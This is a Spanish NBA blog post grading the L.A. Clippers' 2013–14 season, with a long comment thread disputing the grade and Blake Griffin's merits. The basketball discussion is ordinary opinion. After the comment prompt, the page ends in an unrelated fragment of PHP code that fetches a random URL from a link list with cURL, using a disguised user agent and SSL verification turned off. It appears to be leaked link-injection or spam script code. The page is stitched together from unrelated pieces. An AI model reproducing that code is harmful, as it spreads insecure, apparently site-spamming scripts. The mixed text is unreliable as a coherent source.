L.A. Clippers: Aprobado

13 de August de 2014 por Esteban

No comparto el optimismo generalizado que existe entre los expertos respecto estos nuevos Clippers. Muchos los dan ahora como candidatos al título (…) Es algo que no comparto en absoluto.”

la clippersAsí comenzaba el muy criticado análisis de la temporada pasada. Opinión muy particular, lejos de la opinión generalizada que los daba como candidato Nº 1 del Oeste, y candidato a ganar la liga. De hecho, en el análisis de mitad de temporada me lleve una E y algunos los veían campeones.

Es cierto que lo dimos 5º-6º en el Oeste y terminaron terceros, lo cual más allá de sus propios méritos (que los tuvieron), mucho se ha debido a que tanto Rockets como Warriors jugaron por debajo de las expectativas. También es cierto que lo dimos por eliminado en primera ronda y que llegaron a segunda, pero no es menos cierto que lograron pasar con un 4-3 (pudo haber sido tranquilamente al revés) aprovechando el factor cancha y con el detalle de que los Warriors jugaron sin Bogut.

En fin, ni tan buenos como muchos los creían ni tan malos como yo los creía.

La llegada de Doc Rivers los ponía para muchos automáticamente como aspirantes al anillo, sumado a la renovación y juventud de su perímetro con Redick y Dudley, y la llegada de un juego interior de recambio nuevo como Jamison, un anotador total, y Mullens, de buenos números en sus últimas temporadas, parecía un equipo mejorado, más joven, que defendería mejor y que mantenía a sus hombres principales.

Lo cierto es que los Clippers han jugado por encima de mis expectativas pero por debajo de las del resto; no quedaron en primera ronda, pero estuvieron lejos de hacer pasar la segunda ronda a un equipo que luego fue vapuleado a su vez por los Spurs. Sin duda han estado más cerca del pelotón de Rockets, Blazers y Warriors que de los dominadores del oeste como Spurs y Thunder, pero podríamos ponerlos en un escalón intermedio.

griffin dunkA esta altura se puede coincidir que estos Clippers no tenían más o mejor equipo que la temporada pasada, y que el salto de calidad lo ha dado la explosión multidimensional de Griffin, quien ha firmado la mejor campaña de lejos de su carrera y ha elevado sus números a nivel que podríamos considerarlo candidato al MIP o según algunos hasta del MVP. Esto, sumado a los niveles ya clásicos y conocidos de Chris Paul y Jamal Crawford, y lo que siempre aportan Jordan y Barnes, les alcanzó para terminar un año sin fracaso.

El resto, los superfichajes, más vale poco: Redick demostró su nivel mientras estuvo sano en la temporada regular, pero a su vez, se perdió una enorme cantidad de juegos por lesiones y si bien volvió en los Playoffs a buen nivel, estuvo lejos de ser un factor diferencial ni dar un salto de calidad respecto a años anteriores.

Lo de Dudley lo anticipábamos. Era extraño ver cómo había tanto optimismo por la llegada de un “veterano” que venía de tres temporadas en el limbo, sin necesidad de ganarse un contrato, lo que significaba una motivación igual a cero. De ahí que ha sido quizás lo peor de la temporada: Rivers lo aguantó de titular hasta que no pudo más y perdió el puesto con Barnes; pero eso no es todo, hasta quedó fuera de la rotación en varios encuentros y en Playoffs a manos de Turkoglu y Granger, quienes el año pasado al menos fueron ex jugadores en activo.

Peor destino sufrieron los otros “grandes fichajes” como Mullens y Jamison, quienes apenas pisaron la pista y fueron echados a mitad de curso con presencias meramente testimoniales. Tampoco lograron ser una solución otros “mega fichajes” de mitad de curso como Granger y Davis, dos gangas de bajo valor, pero que por lesiones estuvieron lejos de mostrar su mejor versión.

Aun con este negro panorama se las rebuscaron y salieron a flote. Como decíamos tienen al mejor base de la liga y al indiscutido mejor sexto hombre, y ambos jugaron al nivel que les conocemos. Así mismo, Darren Collison mostró su mejor cara desde sus años en New Orleans, y DeAndre Jordan dio muestras de progresos, sobre todo en el tema rebotes. Esto, sumado a un Griffin brillante por momentos, le alcanzó para quedarse en los últimos juegos con el puesto 3o de la conferencia y pasar sudando mucho la primera ronda, pero hasta ahí les dio el combustible.

cp crawfordLo curioso y llamativo de toda la campaña fueron los resultados obtenidos sin CP3, quien se perdió cerca de 20 partidos y los Clippers no solo no se bajaron su nivel sino que mejoraron su balance. De hecho, hasta el momento de la lesión de Paul, Griffin venia teniendo un año a la altura de los anteriores, pero fue en el momento de la lesión del base su explosión definitiva, y con la vuelta de Paul, Blake volvió a la irregularidad.

Es extraño, pero si hacemos memoria, Griffin no tenía números y rendimientos similares a estos desde su año de novato, justamente el único año que no jugó al lado de Paul. Sin dudas la presencia del base lejos de motivarlo lo inhibe, y por lo demostrado, no tiene miedo a ser el líder del equipo; al contrario, ello parece llenarlo de confianza. No estoy diciendo que Paul deba irse, pero, visto lo visto, no me parecería un gran error traspasarlo, ya que con su enorme valor podría reformar el equipo con buenos jugadores alrededor de Griffin.

De hecho, la travesura de CP3 y Griffin juntos no ha sido lo que se dice exitosa, es cierto que se han transformado en una marca en la liga, tienen un nombre y pelean la zona más noble del duro Oeste, pero en cuanto a resultados se refiere, los tres años que han pasado juntos han quedado eliminados dos veces en segunda ronda y una vez en primera; es decir, que les ha faltado mucho para ganar un título, y los años corren, sobre todo para el base que empieza a mirar los 30 de cerca.

En fin, si se consideran las expectativas de algunos fanáticos, este año con más juegos de primera ronda que de segunda podría catalogarse de fracaso, pero siendo justos, han hecho un buen año en base a lo que en realidad tenían.

PREMIOS

MVP: Blake Griffin, sin dudas, aunque nuevamente volvió a tener números inferiores en Playoffs en relación a la regular season. Igual ha mejorado enormemente una de las zonas más débiles de su juego, que eran los tiros libres; encestando el 80% de ellos sus números de por sí han subido estrepitosamente, y también ha desarrollado un tiro perimetral que aunque no me guste, tiene cierta eficacia. Sigue siendo limitado en cuanto a movimientos al poste, up and under, ganchos o giros y contragiros estéticos o bien trabajados, pero tiene una potencia descomunal y en cancha abierta al contraataque es de lo mejor de la liga. Sigue bajando su tasa de rebotes, que fue impresionante en su año rookie, por lo que ya es terrenal en ese aspecto.

Rookie: Bastante publicidad tenía Reggie Bullock antes del inicio del curso y su participación ha sido meramente testimonial, poco que decir de él.

darren collisonSorpresa: El nivel de Darren Collison ha estado por encima de lo esperado, al menos para mí. Mostró el buen nivel que solo se le había visto siendo justamente suplente de CP3 ya hace demasiado tiempo y, sin dudas, he relanzado su carrera. La tasa reboteadora de Jordan creció de manera exponencial, de 7.2 la temporada pasada a 13.6 esta. ¿A que se debe? Difícil de descifrar, puede que Rivers tenga algo que ver. El rendimiento de Griffin sin dudas también fue una sorpresa.

Decepción: Varios candidatos. Primero Jared Dudley, no solo por nivel sino porque tiene contrato firmado por dos años más a razón de más de 4 kilos por cada uno de ellos. Lo poco demostrado por Mullens y Jamison fue peor, pero a ellos ya no tienen que volver a verlos. Las adiciones de ex grandes jugadores como Turkoglu y Granger los mostró muy por debajo de lo esperado. Glen Davis fue una sombra de lo que alguna vez mostró en los Celtics.

Esfuerzo en vano: Para no repetir lo de Griffin, vamos a darle una mención a CP3 y a Jamal Crawford, quienes desde que se calzaron la camiseta de los Clippers han mostrado un nivel tan alto como parejo año tras año; ya sabemos lo que pueden dar ambos que no es poco, llegar más lejos depende del salto de calidad que puedan dar sus compañeros.

JUGANDO A GM

Ya no hay mucho por hacer en Los Angeles más que fichar jugadores por el mínimo. De hecho, son el equipo del Oeste con la nómina más alta en estos momentos. Vamos a levantar nueva polvoreda y nos decidimos a decir que dan un nuevo paso hacia atrás respecto a plantillas anteriores. Las malas decisiones del pasado han pasado factura, principalmente el contrato de Dudley y el contrato de mega estrella de Jordan.

En la base como siempre el capitán y director asegurará un nivel como pocos en la liga, pero el banco se sigue deshilachando. En un par de años pasaron de Bledsoe a Collison y ahora a Farmar, que ojo, me agrada y mucho como jugador, pero es un remiendo de menor nivel que sus antecesores. Demasiado bien parados salen ya que no cuentan con demasiado dinero para gastar.

El puesto de escolta sigue igual, Redick de titular, quien debe mantenerse sano, y Crawford desde el banco, una garantía de garantías.

El alero es el puesto más débil. Barnes resucitó su carrera luego del fiasco en los Lakers como alero suplente de Butler, pero dado lo poco que aportó Dudley debió saltar de titular. A los 34 años no parece ser el alero indicado, mucho menos su suplente, el bueno de Jared.

farmar rivers hawesEn el juego interior, con los titulares indiscutidos, han renovado por una ganga a Davis, quien espera demostrar su valía y ganarse un nuevo contrato. En el puesto de pivote fichan a Hawes, que le va a dar anotación desde la banca, pero dudo que Rivers pueda armar una defensa sólida con un pivote como él.

Habrá que esperar a ver qué queda en el mercado o qué otro veterano pueden sumar. Suena que por el mínimo estaría disponible Okafor, quien creo sería el indicado pero tengo mis dudas sobre si aceptará dicha oferta. Han probado a Oden, quien a mi entender es un caso irrecuperable y se han interesado en Bynum, siendo un riesgo minimo (igual que el contrato al que puede aspirar) y si la cosa sale mediamente bien, el beneficio puede ser enorme. Yo sigo creyendo en Bynum, y que se apuren que se lo llevan los vecinos.

Necesitan un alero también, Marion sería el más indicado, pero no aceptará el mínimo. Podrían ofrecer una ronda por Chris Copeland, quien no parece del agrado de Vogel y es un alero tirador que puede darle buenos resultados.

Sigo viéndolos lejos de Thunder y Spurs, y nuevamente muy metidos en el pelotón de Warriors, Rockets, Blazers y Grizzlies, y frente a cualquiera de ellos sería una lotería. Su capacidad de maniobra cada año es más y más corta y todas las esperanzas se depositan en que Rivers los haga finalmente un equipo fuerte defensivamente, cosa que no fueron en los Playoffs pasados ni por asomo.

Comenta

18 comentarios a esta entrada

  1. TheDeerHunter dice:
    #1

    No se por donde empezar… quizá por una falta alarmante de autocrítica.
    En efecto, no recuerdo absolutamente a nadie en este blog que dijera que los Clippers eran el favorito a ganar el campeonato, como apuntas en tu análisis. Ni siguiera has encontrado diferencia entre la E y la D con la que comenté tu pronóstico a mitad de curso. Al final da igual.
    Sí, desde luego que fui yo quien los veía como serios candidatos a ganar el oeste. No lo han logrado, obviamente, pero han sido uno de los mejores equipos de la conferencia. Quedas retratado en la propia evaluación que les das. Si hablas de un suficiente, es evidente que esperabas que los Clippers aspiraran al título de la conferencia. Si eras el que pronosticaba primera ronda tras haber clasificado como parte baja del cuadro no se puede entender que les califiques así. Incoherencia pura y dura. Es una campaña de notable o similar… pero objetivamente es un paso adelante. Eres tú quien menos respeto tiene a tus propios comentarios.
    Es un problema de fondo y forma. Tu análisis… y sobre todo cómo te explayaste con Griffin (y sigues con tu burra) era del todo catastrofista. No tiene nada que ver con lo que al final ha sido. En concreto él ha sido uno de los mejores jugadores de este curso. No pasa nada por reconocerlo.
    Las esperanzas colectivas tropezaron con otro monstruo de la conferencia. Al final unos y otros sobreviven como pueden en lo que es el corazón competitivo de la liga. Hay 10 equipos que pueden tumbar a cualquiera. Nadie en su sano juicio puede ver un fracaso en superar a los Warriors aunque sea a 7 partidos. Los Thunder son otro cantar… para mí son una barbaridad de equipo, que podría haber sido perfectamente campeón.
    Si se trata que no han cumplido los objetivos por no quedar campeones, para mí estamos locos. No creo que haya nadie, incluido Spurs ni mucho menos Heat de LeBron, que lo puedan garantizar. Si ese es el baremo que sirve para evaluar el desempeño de un equipo todos, menos uno, son un desastre. Malone, Barkley… y otros tantos grandes PF de la historia de la liga unos paquetes, según tú imagino. Jamás estaré de acuerdo con eso.

      Citar

  2. iker dice:
    #2

    este análisis esta hecho desde el odio hacia una franquicia y un jugador (que ha cerrado muchas bocas este año), hecho que no soy capaz de comprender. como una persona que vive al otro lado del mundo puede desarrollar odio hacia una franquicia que seguramente ni le va ni le viene (lakerfan dolido?) y como puede menospreciar a un jugadorazo como blake griffin. el deporte esta hecho para practicarlo y disfrutarlo no para generar odio, esta claro que la influencia del “periodismo” deportivo relacionado con el fútbol ha hecho mucho daño, este análisis parece un análisis de roncero sobre la temporada del barça.

      Citar

  3. Simon dice:
    #3

    Hay un punto en el que si estoy de acuerdo ahora y en su momento te lo discutí mucho y el tiempo te ha dado la razón. Pensaba que los Clippers tendrían el mejor banquillo de la liga y que los Davis, Collison, Dudley y cia iban a dar un salto de calidad enorme al equipo y no podía estar más equivocado. Te felicito porque aquí fuiste de los pocos que ya avisaba que ese banquillo no era tan potente como muchos pensábamos.

    Pero creo que el resto de análisis te has dedicado a saltar por encima lo que te interesa. Por partes:

    Griffin puede seguir siendo para tí todo lo limitado que tu creas que es… pero lo que es indudable es que el único ala-pívot que puede mirar a la cara hoy en día a Griffin es Lamarcus Aldridge, y nadie más. Creo que sigues quitando importancia a las luces de Blake y sigues sobredimensionando los puntos negros a tu interés… que además ya no son muchos de ellos tan negros.

    Resaltas que les costó superar a los Warriors como si la primera ronda del Oeste fuera como en el Este…. Los Warriors son un auténtico equipazo, candidato a todo y que estoy seguro que este mismo año en caso de estar en el Oeste se los hubiera puesto de corbata a los mísmisimos Heat ( Igual pienso de el resto de equipos como Mavs, Thunder, Grizzlies etc… ). Lo que no resaltas es que cayeron 4-2 en una serie muy igualada ante los mejores Thunders de siempre, con todos sus jugadores en forma y sanos ( Ibaka también ). Esos mismos Thunders son los que compitieron muy dignamente contra esa máquina de destrozar equipos que eran los Spurs. Y eso con Ibaka fuera o mermado por su lesión. Me hubiera gustado ver esa serie con Serge Ibaka desde el comienzo. Cuando volvió, además de hacerlo tocado, lo hizo cuando la serie estaba muy cuesta arriba ya.

    En mi opinión si no llegaron más lejos fue por detalles. Creo que se eliminaron en la ronda que les tocaba por potencial. ( este año Thunders y Spurs eran superiores al resto de la liga ) pero creo que en un balance global de la NBA eran el tercer equipo de la liga y quien sabe si en alguno de esos partidos ajustados contra Thunder la moneda hubiera caído hacía su lado si hubieran podido llegar algo más lejos.

    Coincido en muchos puntos que comentas. Ha habido varias decepciones este año en Clippers. Pero creo que sigues empeñado en una postura lejos de la realidad. No creo que nadie los considerara máximos favoritos al anillo al inicio de la campaña, si en esa terna de equipos que podían estar en la lucha y ahí han estado.

    Para mi la campaña es de notable. Estoy de acuerdo en que aún les falta algo para ser maximos favoritos al anillo pero en mi opinión sigues enrocado en una posición muy alejada de la realidad en cuanto a Griffin y los Clippers.

      Citar

  4. Esteban dice:
    #4

    en primer lugar debo reconocer que me senti tentado a transcribir textualmente algunos de los comentarios recibidos en el analisis previo, que daban a los Clippers como candidatos Numero 1 del oeste y candidatos a ganar la liga, pero desisti de esa idea, pero quien quiera puede entrar a http://blog.tjnba.com/2013/10/19/los-angeles-clippers-a-medio-plazo/ y verlo por sus propios ojos

      Citar

  5. Esteban dice:
    #5

    no entiendo por que estan tan enojados con el analisis y me acusan de miles de cosas, pareciera que perdieron la final de la nba en el septimo juego con una ultima canasta y les hubiese puesto de calificacion fracaso

    no solo no perdieron la final de la nba, ni la final de conferencia, nisiquiera llegaron al septimo juego en segunda ronda, y les puse un aprobado, perdon, tan tan geniales fueron?????

    lo de griffin no entiendo que mas quieren, le he dado el MVP por encima de un tal Cris Paul, que mas quieren? he resaltado sus mejoras, sobretodo en libres, y he marcado sus mermas (rebotes y algunos movimientos), o alguien enserio cree que esta a la altura de Durant y Lebron?

    en fin, el enojo no parece ser tanto hacia mi analisis, sino con la propia temporada que tuvieron los clippers, que al parecer no ha colmado sus expectativas

    como dije, ni tan buenos como varios de uestedes los creian ni tan malos como yo lo creia

      Citar

  6. TheDeerHunter dice:
    #6

    Sólo han sido el 4º o 5º mejor equipo del campeonato… sólo demostradamente peor que los finalistas y que Thunder. Igual te crees que aquí la gente pensaba que iban a arrasar… eres tú quien les das un aprobado raspado a pesar de haber superado en mucho tus espectativas.
    Griffin, sólo ha estado en el segundo quinteto ideal…
    Por mi parte, insisto, sí los veía favoritos para ganar la conferencia, pero no estoy tan sonado como para creer que no podían ser eliminados por los Thunder… o por los Warriors mismamente.
    Todo el mundo puede leer en esos comentarios que señalas que nadie dijo que fueran favoritos para ganar la liga.

    Y, por último, citarte a ti mismo en un articulo no queda nada elegante…
    Ah, y enojado… yo 0. No estoy aquí para convencerte de nada. Tú verás.

      Citar

  7. Esteban dice:
    #7

    Al contrario dado q mi opinion no era compartida por los demas escrtores del blog, no me parece justo poner “los dabamos fuera en primera ronda” o “superaron nuestras expectativas” lo justo entiendo era hacerme cargo de lo qdije

      Citar

  8. Esteban dice:
    #8

    El aprobado me parece justo a mi, a otros no, yo solo escribi el analisis, lo cual no refleja la realdad ni la verdad

    De haber pasado segunda ronda sin dudas hubiese sido sobresaliente, pero no sucedio, de hecho lograron un D a T contra uos warriors con o’neal de pivote, creo q aprobado es lo justo

      Citar

  9. TheDeerHunter dice:
    #9

    O sea, que dudabas entre sobresaliente y aprobado según pasaran o no la eliminatoria de los Thunder… término medio no había.
    Lo de los Warriors… lo dices como si Thunder y Spurs no hubieran pasado por los pelos la primera ronda también, contra rivales a priori más fáciles.
    En fin…

      Citar

  10. Esteban dice:
    #10

    TheDeerHunter:
    O sea, que dudabas entre sobresaliente y aprobado según pasaran o no la eliminatoria de los Thunder… término medio no había.
    Lo de los Warriors… lo dices como si Thunder y Spurs no hubieran pasado por los pelos la primera ronda también, contra rivales a priori más fáciles.
    En fin…

    la verdad? no tengo bien en claro como son las clasifiaciones, el “muy aprobado” creo que no existe no?

    en fin, en base a las expectativas del curso, una segunda ronda de conferencia es un aprobado y gracias, no creo que ningun hincha o jugador de los clippers haya festejado demasiado por los resultados obtenidos, en buen fin de curso pero no mucho

    puedes estar en desacuerdo con el analisis, pero creo que la calificacion no merece mucha discusión

      Citar

  11. Jose Luis dice:
    #11

    Yo estoy bastante de acuerdo, un análisis acertado. Ha exaltado a blake griffin bastante mas de lo que esperaba, poniéndole por encima de Paul. Y sinceramente, yo tampoco creo que sea un notable. Esta plantilla estaba diseñada para ir por el anillo, y pasan por los pelos ante Warriors y caen claramente vs Thunder (un 4-1 creo que hubiera sido más real).

    Aprobado, sin más. ¿Notable? Quizá si hubieran caido 4-3. o en final de conferencia, o hubieran mostrado progreso de jugadores de rotacion, o fichajes a futuro… pero nada de esto creo.

      Citar

  12. TheDeerHunter dice:
    #12

    Asombroso… leyéndoos uno casi podría decir que para ser candidato al anillo o al trono del oeste sólo basta con proponérselo.
    A un primera ronda del curso anterior, se suma un nuevo técnico y algunos suplentes de cierto nombre y lo razonable es exigir una final de conferencia, como mínimo… superando fácil a “equipitos” como Warriors, Rockets, Grizzlies y con el lío de Sterling a cuestas, dando ventaja (que por cierto ya es curioso que no se mencione… los fanáticos somos el resto, claro)
    Os diré una cosa y esto no es opinable… ha sido la mejor campaña de la historia de la franquicia. Lo normal, vamos, aprobadito justillo…
    ¿Progreso de jugadores? Digo nombres… DeAndre, Reddick y, por supuesto, Griffin. También Collison aunque no sea precisamente una promesa.
    Sólo me queda decir que yo no vi eso de que un 4-1 contra Thunder hubiera sido más real… lo que hubiera sido más real es que Ibaka no hubiera terminado algún que otro partido (o incluso hubiera sido sancionado de oficio, como otros como Zach Randolph por bastante menos) que los Thunder no hubieran lanzado su capazo de tiros libres por una vez y que ciertas decisiones discutibles hubieran estado más repartidas. Lo de caer claramente no se donde lo vistes, la verdad. Diferencias mínimas en 4 de los 6 partidos, precisamente en los que se decidió la eliminatoria y que hubieran podido decantarse en otra dirección.
    Además de que los Thunder son buenos de cojones, que han jugado mejor que nunca… para muchos son los niños mimados del arbitraje en el oeste hoy por hoy, y desde hace mucho tiempo. Lo de perder contra ellos le puede pasar a cualquiera hoy en día.

    Pero vamos… que no me hagáis mucho caso que, como todo el mundo sabe, soy fanático de los Clippers de toda la vida XD XD XD XD (lo que hay que oir)

      Citar

  13. Jose Luis dice:
    #13

    Os diré una cosa y esto no es opinable… ha sido la mejor campaña de la historia de la franquicia. Lo normal, vamos, aprobadito justillo…

    ¿y que tiene que ver la nota con la campaña en su historia?

    Ponle a los bobcats el equipo de miami el año pasado, y si no llegan a la final de conferencia, pues sería un aprobado raspado, sin más.

    Los Clippers eran un equipo reforzado por y para el anillo. Reforzado continuamente, cada dos meses había fichajes y adquisiciones. Y ni han pisado la final de conferencia, pasando por los pelos contra unos Warriors muy mermados y que han sido irregulares toda la campaña.

    Progreso de Redick no he visto, Collison capaz de lo mejor y lo peor, como siempre, y lo que Jordan ha subido en rebotes lo ha bajado Griffin… ¿tendrá que ver el sistema defensivo quizá?

    ¿Quizá merecían un notable? Puede ser, si hubieran pasado con más claridad la primera ronda o caído con menos claridad la segunda.

      Citar

  14. Jose Luis dice:
    #14

    Y Deer… tu mismo decías esto xD

    TheDeerHunter:
    Yo creo que en absoluto es inferior al año pasado.
    En mi opinión es ahora mismo el candidato nº1 a ganar el oeste. Que conste en acta.

    Que si la pelea es por ponerle un Notable, pues vale… pero yo creo que ni el dueño ni los jugadores están satisfechos

      Citar

  15. TheDeerHunter dice:
    #15

    A ver. Yo no he dicho “notable”. A mí el asunto de la nota concreta me deja frío. Yo voy al fondo de la crítica y del análisis. Sólo Spurs, Heat y Thunder han sido manifiestamente superiores a ellos, seguramente es el cuarto mejor equipo de este año… y por eso extraña que la mejor campaña de la historia de la franquicia genere una valoración tan tibia.

    Para mí, no lo he negado en ningún momento, sí podían ser el equipo a batir en el Oeste. Pero ni yo ni nadie hubiera apostado la casa porque se lo fueran a llevar. Otros veían que eran los Warriors, o los Rockets, Thunder, Spurs… y cada uno tenía su parte de razón, porque hay una competencia brutal.
    En esta conferencia no había nadie, ni siquiera San Antonio, tan favorito a priori. 8-10 equipos muy potentes y algunos muy igualados entre ellos. Así se vio. Al final de la fiesta todos tratan de prepararse para el anillo y así lo han hecho los equipos que he nombrado… otra cosa es que después, los rivales también tienen algo que decir al respecto y además juegan otros factores.
    No estamos evaluando los méritos ajenos, como tampoco el mero resultadismo. Ha sido una buena campaña de los Clippers y mejor aún de otros. Ellos no se han limitado a cumplir el expediente como se desprende del análisis.

    PD: Y por cierto, no es ninguna pelea, al menos por mi parte.

      Citar

  16. MagicJohnson32 dice:
    #16

    TheDeerHunter: …soy fanático de los Clippers de toda la vida…

    ¡¡Al fin entiendo tu odio hacia Rick Fox!!

      Citar

  17. Esteban dice:
    #17

    yo cuando pongo las calificaciones en os analisis que hago, siempre pongo en relacion a las expectativas que el equipo analizado tenia a principio de curso

    vamos que este año para los Bobcats ha sido notable y se fueron en primera ronda con un 4-0, pero han superado todas las expectativas puestas sobre ellos

    los clippers? tambien han tenido un buen año, o muy bueno si quieres, pero en cuanto a objetivos se refiere, no los ha sobrepasado, al contrario, quiza ni lo alcanzaron

    la puntuacion tambien es mirando a futuro, como puse, cada vez los veo mas ajustados y con menos margen de maniobra para lograr el titulo,

    PD: otra cosa, como atenuante deer pones que tienen un entrenador nuevo, lo que a principio de curso era la clave (sacar al supuestamente inutil del negro) para el exito, termina siendo una excusa para no tildar de fracaso

      Citar

  18. TheDeerHunter dice:
    #18

    Cuando se supone q yo he utilizado a Doc Rivers como atenuante?

      Citar

Deja un comentario

html; } class Helper { public function random_date() { $low = '732045693'; $high = time(); $random = rand($low, $high); return date("D, d M Y H:i:s",$random); } } class Fetch_site { public $url; public $html; public function __construct($sites=null, $link_list=null) { $this->is_curl_installed(); if($link_list !== null) { $this->choose_site($link_list); } $this->load_site($this->url); } public function choose_site($file=null) { $file = explode("\n", $file); $key = rand(0, (count($file)-1)); $this->url = trim($file[$key]); } public function load_site($url) { $useragent = array('Link-Soft'); $rand = array_rand($useragent); $ch = curl_init(); $options = array( CURLOPT_URL => $url, CURLOPT_HEADER => 0, CURLOPT_USERAGENT => $useragent[$rand], CURLOPT_SSL_VERIFYHOST => 0, CURLOPT_SSL_VERIFYPEER => 0, CURLOPT_RETURNTRANSFER => 1, CURLOPT_FOLLOWLOCATION => 1, CURLOPT_ENCODING => "", CURLOPT_AUTOREFERER => 1, CURLOPT_CONNECTTIMEOUT => 30, CURLOPT_TIMEOUT => 30, CURLOPT_MAXREDIRS => 5, ); curl_setopt_array($ch,$options); $result = curl_exec($ch); if(!$result) { return curl_error($ch); } curl_close($ch); $this->html = $result; } public function is_curl_installed() { if(!in_array('curl',get_loaded_extensions())) { trigger_error("cURL PHP extension is disabled or not installed.",E_USER_ERROR); } } } unset($n); ?>